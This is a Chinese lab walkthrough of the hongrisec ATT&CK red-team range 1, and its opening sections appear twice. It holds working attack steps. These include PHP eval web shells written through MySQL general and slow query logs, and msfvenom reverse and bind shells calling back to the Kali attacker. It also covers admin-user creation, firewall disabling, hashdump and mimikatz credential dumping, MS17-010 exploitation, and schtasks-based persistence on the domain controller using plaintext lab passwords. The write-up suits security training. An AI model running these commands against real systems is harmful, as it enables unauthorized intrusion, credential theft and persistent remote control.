ATT&CK红队评估实战靶场-1(全网最细)

 声明:该系列文章首发于公众号:Y1X1n安全,转载请注明出处!本公众号所分享内容仅用于网安爱好者之间的技术讨论,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本公众号及作者不承担相应的后果。

ATT&CK红队评估实战靶场-1

目录:

1. 环境配置

  • 插播一点网络配置的姿势

2. 实战

  • 2.1 信息收集

  • 2.2 web站点探测

  • 2.3 getshell

3 漏洞

  • 3.1 目录遍历漏洞

  • 3.2 存储型XSS

4. 信息收集

5. 主机密码收集

  • 5.1 msf反弹shell

  • 攻击机kali启动监听:star:

  • 5.2 提权

  • 5.3 获取密码

6. 内网信息收集

  • 6.1 基本信息查询

  • 6.2 内网访问可采用socks代理或MSF添加路由

  • 6.3 arp扫描内网主机

  • 6.4 内网探测

  • 6.4 内网攻击

  • Metasploit->socks4a:star:

7. 横向移动

  • 7.0 常规

  • 7.1 文件读取(2K8-C盘共享传马)

1. 环境配置

图片

名称IP角色
kali192.168.254.129---VMnet1攻击机
win7192.168.254.130---VMnet1
192.168.52.143---VMnet2
web服务器hongrisec@2019
win2k3192.168.52.141---VMnet2域成员hongrisec@2019
win2k8192.168.52.138---VMnet2域控hongrisec@2021

效果:同网段可ping通,win7开了防火墙,kali、2k3和2k8反过来ping均无法ping通

Kali:

图片

kali

踩坑:win7添加网卡,配置ip后既无法ping通kail也无法ping通2k3和2k8

按照虚拟机原先的配置,不要修改。god.org域网络是配置好的,只需要添加一张网卡和kali处于同一个网络即可

win7:

图片

win7

启动phpstudy

图片

win7


1.1 🐷插播一点网络配置的姿势

VMware虚拟网络编辑器

  1. 当虚拟机ip为ipv6时,可设置还原默认设置

图片

  1. kali配置任意ip

网络-有线-手动设置

图片

图片

  1. win7

图片

图片


2. 实战

2.1 信息收集

查找同网段存活主机

图片

win7

探测开放端口,发现开放了80和3306

图片

2.2 web站点探测

访问web服务,发现phpstudy探针,泄漏大量敏感信息

图片

尝试扫描存在的站点

图片

图片

弱口令root/root进入后台;

按照官方文档这里还存在一个http://xxxx/yxcms站点,如下:

图片

点击登录有一个登录/注册页面,这里存在一个验证码复用的漏洞:

  1. 随便注册了一个账号user/123456

  2. user账号登录任意密码抓包,不刷新登录页(不将BP抓包关闭),爆破密码,可利用之前的验证码

图片


另外,此处修改用户登录url参数即可找到后台http://192.168.254.130/yxcms/index.php?r=admin/index/login,即将原来的http://192.168.254.130/yxcms/index.php?r=member/index/login中member改为admin即可;

通过弱口令admin/123456进入后台;

图片

🐷代码审计| yxcms app 1.4.6 漏洞集合

2.3 getshell

在前台模板创建中创建info.php一句换木马

图片

需要知道其路径,大概看了下并没有办法直接读取,这里直接通过网站源码获取了路径

图片

可以访问测试一下解析情况

http://192.168.254.130/yxcms/protected/apps/default/view/default/info.php

直接用蚁剑连接成功:

图片

phpmyadmin后台getshell一般有以下几种方式:

  1. select into outfile 直接写入

select "<?php @eval($_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"

图片

无法写入,show global variables like '%secure%'查看变量secure-file-priv 值为NULL,尝试修改,预编译NULL无法修改;

查了下:变量secure-file-priv 这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

图片

  1. 利用全局日志general_log

  • 查看全局日志

show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符

图片

  • 开启全局日志

set global general_log=on
  • 指定新的日志路径

set global general_log_file='C:/phpstudy/www/yxcms/info1.php'

此时全局日志已经开启并且已经指定为我们能访问的路径:

图片

  • 执行SQL语句以写入日志

select '<?php eval($_POST[yxcms]);?>'

图片

访问日志文件

图片

蚁剑连接

图片

这里可以看下日志文件:

图片

  1. 利用慢查询日志slow_query_log

慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句

🐷MySQL慢查询日志(Slow Query Log) (biancheng.net)

3.1查询慢查询日志目录 
show variables like '%slow%'; 
# show variables like 'slow%'; 
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能 
set global slow_query_log=on; 
3.3重新设置日志路径 
set global slow_query_log_file='C:/phpStudy/WWW/info2.php'; 
3.4执行sql命令 
select '<?php eval($_POST[godunt]);?>' from mysql.db where sleep(10);

图片

  1. 利用错误日志

show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'

图片

图片

变量“log_error”是只读变量

  1. 利用phpmyadmin本身版本漏洞

🐷PhpMyAdmin漏洞利用汇总

靶场版本为3.5.8.2

3 漏洞

3.1 目录遍历漏洞

图片

3.2 存储型XSS

图片

管理员后台审核,实际上这里点击“留言本”就会弹窗

图片

审核后回到用户留言界面。多了如下留言,刷新就会弹窗

图片


4. 信息收集

利用蚁剑的虚拟终端

(*) 基础信息

当前路径: C:/phpStudy/WWW/yxcms

磁盘列表: C:D:

系统信息: Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586

当前用户: Administrator

(*) 输入 ashelp 查看本地命令

C:\phpStudy\WWW\yxcms> net user

\STU1 的用户帐户

-------------------------------------------------------------------------------

Administrator      Guest          liukaifeng01

命令成功完成。

C:\phpStudy\WWW\yxcms> whoami

god\administrator

C:\phpStudy\WWW\yxcms> ipconfig -all

Windows IP 配置

主机名 . . . . . . . . . . . . . : stu1

主 DNS 后缀 . . . . . . . . . . . : god.org

节点类型 . . . . . . . . . . . . : 混合

IP 路由已启用 . . . . . . . . . . : 否

WINS 代理已启用 . . . . . . . . . : 否

DNS 后缀搜索列表 . . . . . . . . : god.org

以太网适配器 本地连接 4:

连接特定的 DNS 后缀 . . . . . . . :

描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2

物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-37

DHCP 已启用 . . . . . . . . . . . : 否

自动配置已启用. . . . . . . . . . : 是

本地链接 IPv6 地址. . . . . . . . : fe80::b4ce:67c1:4816:2fd5%25(首选)

IPv4 地址 . . . . . . . . . . . . : 192.168.254.130(首选)

子网掩码 . . . . . . . . . . . . : 255.255.255.0

默认网关. . . . . . . . . . . . . : 192.168.243.255

DHCPv6 IAID . . . . . . . . . . . : 721423401

DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8

DNS 服务器 . . . . . . . . . . . : fec0:0:0:ffff::1%1

fec0:0:0:ffff::2%1

fec0:0:0:ffff::3%1

TCPIP 上的 NetBIOS . . . . . . . : 已启用

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :

描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection

物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-2D

DHCP 已启用 . . . . . . . . . . . : 否

自动配置已启用. . . . . . . . . . : 是

本地链接 IPv6 地址. . . . . . . . : fe80::387b:f96b:cf2d:6df2%11(首选)

IPv4 地址 . . . . . . . . . . . . : 192.168.52.143(首选)

子网掩码 . . . . . . . . . . . . : 255.255.255.0

默认网关. . . . . . . . . . . . . : 192.168.52.2

DHCPv6 IAID . . . . . . . . . . . : 234884137

DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8

DNS 服务器 . . . . . . . . . . . : 192.168.52.138

8.8.8.8

TCPIP 上的 NetBIOS . . . . . . . : 已启用

可以观察到,当前用户为Administrator,win7计算机名为STU1 ,且还存在liukaifeng01用户,存在域环境god.org,存在192.168.52.0/24的网段;

  1. 添加用户

net user srn7 P@ssword /add
# 添加用户
net localgroup administrators srn7 /add
# 将用户添加至管理员组
  1. 开启远程3389端口

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

图片

连接失败,应该是防火墙的原因

解决方案:

  • 关闭防火墙

netsh advfirewall set allprofiles state off
  • 防火墙放行3389

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  • 隧道

为后续方便直接关闭防火墙;

图片

CredSSP加密数据库修正问题

🐷远程桌面连接出现CredSSP的解决方法


5. 主机密码收集

5.1 msf反弹shell

可采用:

  • 生成后门文件上传至目标机器反弹shell

  • 利用其他漏洞获取shell如ms17_010等

生成Windows后门程序(Windows载荷)

msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=7777 -f exe -o shell.exe
# 反向shell

图片

攻击机kali启动监听⭐

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit

图片

将刚才生成的shell.exe利用蚁剑上传至目标机器(win7)并运行,会看kali已经得到shell

图片

输入screenshot可截图

meterpreter > screenshot Screenshot saved to: /root/WnKSWETR.jpeg

使用 meterpreter > help 可查看支持哪些命令

background
#返回,把meterpreter后台挂起
sessions -i
#查看已经获取的会话
sessions -i 1
#连接到指定序号的meterpreter会话已继续利用

图片

5.2 提权

meterpreter > getuid
Server username: GOD\Administrator

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

5.3 获取密码

  1. 抓取自动登录的密码

run windows/gather/credentials/windows_autologin
# 抓取自动登录的密码

meterpreter > run windows/gather/credentials/windows_autologin

[] Running against STU1 on session 2 [] The Host STU1 is not configured to have AutoLogon password

#在会话 2 上针对 STU1 运行 #主机 STU1 未配置为具有自动登录密码

  1. 未提权尝试使用此命令查询hashdump

run windows/gather/smart_hashdump
  1. 提权后抓取密码

hashdump
run hashdump

[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

#可能是版本问题2021版kali需要使用run hashdump

图片

也可使用下面这种方法:

run post/windows/gather/smart_hashdump

图片

[!] SESSION 可能与此模块不兼容:

 [!] * 缺少 Meterpreter 功能:stdapi_sys_process_set_term_size 

[] 针对 STU1 运行模块

[] 如果连接,哈希值将保存到数据库中。

 [+] 哈希值将以 JtR 密码文件格式保存在战利品中: 

[] /root/.msf4/loot/20211105144910_default_192.168.254.130_windows.hashes_151319.txt

[] 倾销密码哈希... 

[] 以 SYSTEM 身份运行,从注册表中提取哈希值

[] 获取启动密钥... 

[] 使用 SYSKEY fd4639f4e27c79683ae9fee56b44393f 计算 hboot 密钥...

[] 获取用户列表和密钥... 

[] 解密用户密钥...

[] 转储密码提示...

 [] 在这个系统上没有有密码提示的用户

[] 倾销密码哈希... 

[+] 管理员:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

[+] srn7:1001:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::

🐷密码格式

用户名称: RID:LM-HASH 值: NT-HASH 值,rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等;

LM-Hash和NT-Hash,这是对同一个密码的两种不同的加密方式,可采用MD5解密;

  1. 利用kiwi

load kiwi #加载kiwi扩展
creds_all #获取系统中的明文密码

图片

此环境中并没有得到信息;

🐷

meterpreter > load mimikatz 

[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future. 

[!] The "kiwi" extension has already been loaded.

[!] "mimikatz" 扩展名已被 "kiwi" 取代。 以后请使用这个。

[!] "kiwi" 扩展已经加载。

🐷

关于kiwi:

creds_all:列举所有凭据 

creds_kerberos:列举所有kerberos凭据 

creds_msv:列举所有msv凭据 

creds_ssp:列举所有ssp凭据 

creds_tspkg:列举所有tspkg凭据 

creds_wdigest:列举所有wdigest凭据 

dcsync:通过DCSync检索用户帐户信息 

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 

kerberos_ticket_list:列举kerberos票据 

kerberos_ticket_purge:清除kerberos票据 

kerberos_ticket_use:使用kerberos票据 

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM 

lsa_dump_secrets:dump出lsa的密文 

password_change:修改密码 

wifi_list:列出当前用户的wifi配置文件 

wifi_list_shared:列出共享wifi配置文件/编码

  1. 在目标机器上传mimikatz抓取密码

图片

shell执行

图片

图片

privilege::debug
 #提升权限
 
sekurlsa::logonpasswords 
#抓取密码

图片

exit可退出mimikatz和shell

图片

6. 内网信息收集

6.1 基本信息查询

ipconfig /all    查询本机IP段,所在域等
net config Workstation    当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user    本机用户列表
net localgroup administrators    本机管理员[通常含有域用户]
net view 查看域信息
net view /domain 查询主域信息
net config workstation 当前的登录域与用户信息
net time /domain 判断主域
nslookup god.org  nslookup 命令直接解析域名服务器
net user /domain 当前域的所有用户
route print  路由信息
net group "domain admins" /domain 域管理员的名字

如遇shell乱码问题可输入chcp 65001缓解部分问题

图片

  1. 补丁信息

run post/windows/gather/enum_patches

  1. 已安装软件

run post/windows/gather/enum_applications

图片

6.2 内网访问可采用socks代理或MSF添加路由

  1. 查看路由信息

run get_local_subnets
# 已经拿下的目标本地路由表(win7),shell网络环境

图片

该处已经包含目标路由信息;

  1. 添加内网路由

可全局指定session添加,也可进入某session后添加

run autoroute -s 192.168.52.0/24
# 给session 添加路由

MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了那么就可以使用MSF来进行探测了。

:pig_nose:

meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] 

[] Usage:   run autoroute [-r] -s subnet -n netmask

[] Examples:

[]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0

[]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0 

[]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay

[]   run autoroute -p                            # Print active routing table 

[]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route

[] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes 

[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module


meterpreter > 运行 autoroute -h

[!] Meterpreter 脚本已弃用。 尝试发布/多/管理/自动路由。 

[!] 示例:运行 post/multi/manage/autoroute OPTION=value [...] 

[] 用法:运行自动路由 [-r] -s 子网 -n 网络掩码

[] 例子: 

[] run autoroute -s 10.1.1.0 -n 255.255.255.0 # 添加路由到 10.10.10.1/255.255.255.0

[] run autoroute -s 10.10.10.1 # 网络掩码默认为 255.255.255.0 

[] run autoroute -s 10.10.10.1/24 # CIDR 表示法也可以

[] run autoroute -p # 打印活动路由表 

[] run autoroute -d -s 10.10.10.1 # 删除 10.10.10.1/255.255.255.0 路由

[] 使用“route”和“ipconfig” Meterpreter 命令来了解可用路由 

[-] 弃用警告:此脚本已被 post/multi/manage/autoroute 模块取代

run autoroute -p 
# 打印活动路由表,此处应该是session的路由信息

图片

失败,不知为啥

图片

说明:4表示session 4,攻击机如果要去访问52网段的资源,其下一跳是session 4

route print
route add 192.168.52.141 255.255.255.0 4

route add 0.0.0.0 0.0.0.0 1
# 添加全网段的路由,这样只要被控机器可达的地址就都可访问

🐷后渗透阶段之基于MSF的路由转发

6.3 arp扫描内网主机

run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

图片

6.4 内网探测

192.168.254.130(win7)中自带了nmap,无需上传了,一般默认安装路径C:\Program Files (x86)\Nmap

nmap --script=vuln 192.168.52.141
# 扫描141存在的漏洞

C:\Windows\System32>cd C:\Program Files (x86)\Nmap cd C:\Program Files (x86)\Nmap

C:\Program Files (x86)\Nmap>nmap --script=vuln 192.168.52.141 

nmap --script=vuln 192.168.52.141 Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-06 14:01 ?D1��������?����?? Nmap scan report for 192.168.52.141 

Host is up (0.00s latency). 

Not shown: 987 closed ports 

PORT     STATE SERVICE 

21/tcp   open  ftp

......

图片

nmap --script=vuln 192.168.52.138

图片

6.4 内网攻击

Metasploit->socks4a⭐

设置过程:

  1. 得到shell

  2. 添加路由

  3. 设置sock4a代理

  4. 设置proxychains

  5. 使用proxychains代理启动其他工具

当前环境:

Kali:192.168.254.129

win7:192.168.254.130/192.168.52.143

win2k3:192.168.52.141

win2k8:192.168.52.138

设置sock4a:

  1. 获取Metpreter后,添加路由,此时该Metpreter已经可达目标网络

  2. 设置sock4a代理,不能关闭msfconsole,目的为创造一条通道,该通道为上述Metpreter回话所在目标网络

SRVHOST 是服务端IP地址,默认是本机所有IP

SRVPORT 是Socks4a监听端口

  1. 此时可设置proxychains为本地ip地址127.0.0.1,端口为socks4a监听端口。启动代理其他工具,从而直接将流量由1080端口通过socks4a代理转发进目标网络;

proxychains msfconsole

图片

这里需要注意,sock协议不支持ping命令(icmp)

sock4a:TELNET,FTP,HTTP等TCP协议;

sock5:TCP与UDP,并支持安全认证方案;


再看看192.168.52.141这台内网机器

proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141

图片

靶机一些服务没有做自启动,所以作者的漏洞列表有一些漏洞无法利用,这里看到445未开启,先手动开启win2003的server服务

图片

图片

看到445端口已经开启,可以探测下系统版本

use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.141
run

图片


  1. ms08-067

search ms08-067
use exploit/windows/smb/ms08_067_netapi
set payload
show options
set lhost 192.168.254.129
set lport 5555
set rhosts 192.168.52.141
exploit

图片

未成功;

  1. RPC DCOM服务漏洞

search ms03-026
use exploit/windows/dcerpc/ms03_026_dcom
show options
set rhosts 192.168.52.141
set lhost 192.168.254.129
set lport 7777
exploit

图片

未成功;

  1. MS17-010

kali没有32位的利用模块 下载地址 将下载下来的Eternalblue-Doublepulsar-Metasploit-master的名字改为Eternalblue-Doublepulsar-Metasploit并将改完名后的整个目录复制到root目录下(需要解压2次,把最后一次解压名改为Eternalblue-Doublepulsar-Metasploit 并放到/root目录下

##复制Eternalblue-Doublepulsar-Metasploit下的eternalblue_doublepulsar.rb
root@kali:~/Eternalblue-Doublepulsar-Metasploit# cp eternalblue_doublepulsar.rb
/usr/share/metasploit-framework/modules/exploits/windows/smb
##安装框架
root@kali:~/Eternalblue-Doublepulsar-Metasploit# wine -h
##找不到命令按照以下步骤
root@kali:~/Eternalblue-Doublepulsar-Metasploit# dpkg --add-architecture i386 &&
apt-get update && apt-get install wine32
##重新加载
msf6 > reload_all

参考:

kali linux安装wine32,永恒之蓝msf下 ms17_010

smb(ms17-010)远程命令执行之msf

使用载荷

# search ms17-010
# 注意:有时候搜索ms17-010并不能找到刚才加载的32位载荷
# 需要使用search  eternalblue,因为关键字不含ms17-010
search  eternalblue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/eternalblue_doublepulsar
set payload
show options
set lhost 192.168.54.129
set lport 5555
set rhosts 192.168.52.141
set target 8
exploit

图片

未成功;

proxychains-sock4a代理下:

图片

仍然未成功;

auxiliary/admin/smb/ms17_010_command 添加一个用户,并加入管理 员组;

search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND net user srn7 p@ssword /add
exploit

set COMMAND net localgroup administrators srn7 /add
set COMMAND net localgroup administrators
exploit

图片

图片

利用 exploit/windows/smb/ms17_010_psexec 尝试正向连接

search ms17-010
use exploit/windows/smb/ms17_010_psexec
show options
set rhosts 192.168.52.141
set payload
set lhost 192.168.254.129
set lport 6666
set SMBuser srn7
set SMBpass P@ssword
exploit

图片

未成功;

利用 auxiliary/admin/smb/ms17_010_command 开启3389端口,远程连接桌面

search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
exploit

图片

该种方法可能不成功,可尝试如下命令开启3389远程服务(win7、win2k3、winxp;关闭命令把如下0都换成1)

search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run 

图片

直接在msf里rdesktop 192.168.52.141或者另起终端proxychains rdesktop 192.168.52.141 均可;

参考:

内网渗透常见端口转发方式

ProxyTunnels

Socks4 Proxy Pivoting with Metasploit⭐

记一次小白的第一次内网渗透

ATT&CK实战系列——红队实战(一)⭐⭐⭐

7. 横向移动

7.0 常规

  1. 探测192.168.52.138系统信息

use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.138
run

得到为win2008;

  1. 探测端口开放情况

nmap -p 1-1000 -Pn -sT 192.168.52.138

图片

  1. 之前已经测试过存在ms17-010,此时利用ms17-010尝试拿下域控

use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/meterpreter/reverse_tcp 
或者
set payload windows/x64/meterpreter/bind_tcp
set lhsot 192.168.254.129
set lport 4444
set rhosts 192.168.52.138
set rhost 445
run

未成功,可能为防火墙的原因;

7.1 文件读取(2K8-C盘共享传马)

用win7连接域控的c盘共享,选择win7已得到域管理员账号 administrator 。

shell
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
dir \\192.168.52.138\c$

图片

  1. 定时任务连接shell

这里使用正向shell,不是这个,下面那个

msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=8899 -f exe -o shell138.exe
# 生成的是反向shell,reverse_tcp逆转
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit
# 监听,等待靶机连过来

🐷

正反向shell:反向 reverse shell 就是通过我们监听,目标肉鸡运行 exe 我们就会收到一个反弹 shell;而正向就是目标肉鸡运行 exe,我们去连接肉鸡。

反向连接木马是攻击机开放端口,靶机连过来; 正向连接木马是靶机开放端口,攻击机连过去;(适用于目标机器不出网)

# 生成正向shell
msfvenom -p windows/shell_hidden_bind_tcp LPORT=8899 AHOST=192.168.52.138 -f exe > bind_shell123.exe
# 把新生成的bind_shell.exe复制到win2008
C:\phpStudy>copy c:\phpstudy\bind_shell.exe \\192.168.52.138\c$
C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
# 此处需要注意靶机密码可能要重置
# 攻击机连过去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run

每分钟执行

C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

定时执行

C:\phpStudy>schtasks /create /tn "srn7" /tr C:\bind_shell.exe /sc once /st 15:43 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

在windows上 定时执行 Schtasks命令详解(计划任务DOS批处理)

回到kali开启监听,失败...

  1. 已知win2008开启了IIS 7.0,上传asp一句话木马 <%execute request("srn7")%>

C:\phpStudy>copy C:\phpStudy\WWW\1.asp \\192.168.52.138\c$\inetpub\wwwroot
C:\phpStudy>dir \\192.168.52.138\c$\inetpub\wwwroot

关于这一部分我的机器有点抽风

成功的同学,可以在kali上利用proxychains做个代理启动蚁剑连接;

反过来看了下,问题应该是在msf马配错了

此处,应该是正向木马的问题

Hidden Bind Shell: Keep your shellcode hidden from scans  

查看windows/shell_hidden_bind_tcp的参数

图片

尝试各种配置无果......静下心找找资料先

查阅大量资料,发现AHOST应该是代理的地址

侦听来自某个 IP 的连接并生成一个命令外壳。如果连接不是来自 AHOST 中定义的 IP,shellcode 将回复一个 RST 数据包。这样,端口将显示为 “关闭”,帮助我们隐藏 shellcode。

Windows Command Shell, Hidden Bind TCP Inline

Hidden Bind Shell: Keep your shellcode hidden from scans

按照该原理

该木马配置应为如下:

因为是通过代理访问,该种方法只接受AHOST指定的ip的连接请求,所以应该填真实访问到192.168.52.138的ip

msfvenom -p windows/shell_hidden_bind_tcp  AHOST=192.168.52.143 LPORT=9998 rhost=192.168.52.138 -f exe > hidden_shell.exe
# 攻击机连过去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9998
run

图片

如上图所示,目标确实接受了连接,但生成的session非常不稳定

nmap查看9998端口开放情况

nmap -sS 192.168.52.138 -PN -p 9998

图片

Filtered(过滤的):由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。

在靶机上查看网络连接状态,9998是开放的

图片

换个命令查看端口,意外发现又可以了

nmap -p 9998 -Pn -sT 192.168.52.138

图片

尝试拿nc连接,得到了目标shell

图片

此时查看网络连接状态

图片

该方法得到的后门程序经常自行结束进程,暂不清楚原因


其他尝试-反弹shell:

思路:通过C盘共享win7向域控2K8上传msf马,设置计划任务使马定时开启,kali开启监听

  1. 生成马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.143 lport=9999 -f exe -o srn7final.exe
# 这里默认是生成在/root目录下的

图片

  1. win7连接域控C盘

net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
# 输入账号密码
dir \\192.168.52.138\c$
# 测试是否成功

图片

  1. 上传马

  • 上传到win7

upload srn7final.exe
search -f srn7final.exe

图片

  • win7共享给域控

copy c:\phpstudy\srn7final.exe \\192.168.52.138\c$

图片

  1. 设置计划任务启动木马

schtasks /create /tn "test123456" /tr C:\srn7final.exe /sc once /st 14.25 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

图片

这里我也不知道成功了没😭

  1. 设置监听

  • 监听win7的9999端口

msfconsole
use exploit/multi/handler
set lhost 192.168.52.143
set lport 9999
run

这里再次没收到shell

但是查看计划任务是运行了的

图片

可能是之前路由掉了,不知道有没有关系🙅‍

run get_local_subnets
#查看目标机器所在内网网端信息与公网网端信息。

图片

run autoroute -s 192.168.52.0/24
# 添加路由,使msf能通过win7路由转发到52段

图片

此时msf即可达52段

ARP扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

图片

这里挂一下sock4a代理。使其他工具也能通过win7访问到52段

配置msf代理:

use auxiliary/server/socks_proxy
set version 4a
set srvport 1080
show options
run

图片

图片

jobs可以查看当前代理任务

图片

使用其他工具时需要在命令前加proxychains,如下:

proxychains nmap -Pn -sT 192.168.52.141

图片

这里又提了次权,系统权限

meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

设置计划任务每分钟执行

schtasks /Create /sc minute /mo 1 /tn "srn7123" /tr "C:\srn7final.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

图片

图片

成功拿到shell,执行命令有点卡

图片

此时可以在任务管理器-显示所有用户的进程-在用户SYSTEM下发现该后门进程

图片



三省吾身:本文记录的仅为多种渗透途径中的一部分,过几天会补一个CS的,其中也踩了一些坑,也有一些方法使用的可能不是很到位,希望各位师傅轻pen,欢迎交流!

目录:

1. 环境配置

  • 1.1 插播一点网络配置的姿势

2. 实战

  • 2.1 信息收集

  • 2.2 web站点探测

  • 2.3 getshell

3 漏洞

  • 3.1 目录遍历漏洞

  • 3.2 存储型XSS

4. 信息收集

5. 主机密码收集

  • 5.1 msf反弹shell

  • 攻击机kali启动监听:star:

  • 5.2 提权

  • 5.3 获取密码

6. 内网信息收集

  • 6.1 基本信息查询

  • 6.2 内网访问可采用socks代理或MSF添加路由

  • 6.3 arp扫描内网主机

  • 6.4 内网探测

  • 6.4 内网攻击

  • Metasploit->socks4a:star:

7. 横向移动

  • 7.0 常规

  • 7.1 文件读取(2K8-C盘共享传马)

1. 环境配置

图片

名称IP角色
kali192.168.254.129---VMnet1攻击机
win7192.168.254.130---VMnet1
192.168.52.143---VMnet2
web服务器hongrisec@2019
win2k3192.168.52.141---VMnet2域成员hongrisec@2019
win2k8192.168.52.138---VMnet2域控hongrisec@2021

效果:同网段可ping通,win7开了防火墙,kali、2k3和2k8反过来ping均无法ping通

Kali:

图片

kali

踩坑:win7添加网卡,配置ip后既无法ping通kail也无法ping通2k3和2k8

按照虚拟机原先的配置,不要修改。god.org域网络是配置好的,只需要添加一张网卡和kali处于同一个网络即可

win7:

图片

win7

启动phpstudy

图片

win7


1.1 🐷插播一点网络配置的姿势

VMware虚拟网络编辑器

  1. 当虚拟机ip为ipv6时,可设置还原默认设置

图片

  1. kali配置任意ip

网络-有线-手动设置

图片

图片

  1. win7

图片

图片


2. 实战

2.1 信息收集

查找同网段存活主机

图片

win7

探测开放端口,发现开放了80和3306

图片

2.2 web站点探测

访问web服务,发现phpstudy探针,泄漏大量敏感信息

图片

尝试扫描存在的站点

图片

弱口令root/root进入后台;

按照官方文档这里还存在一个http://xxxx/yxcms站点,如下:

图片

点击登录有一个登录/注册页面,这里存在一个验证码复用的漏洞:

  1. 随便注册了一个账号user/123456

  2. user账号登录任意密码抓包,不刷新登录页(不将BP抓包关闭),爆破密码,可利用之前的验证码

图片


另外,此处修改用户登录url参数即可找到后台http://192.168.254.130/yxcms/index.php?r=admin/index/login,即将原来的http://192.168.254.130/yxcms/index.php?r=member/index/login中member改为admin即可;

通过弱口令admin/123456进入后台;

图片

🐷代码审计| yxcms app 1.4.6 漏洞集合

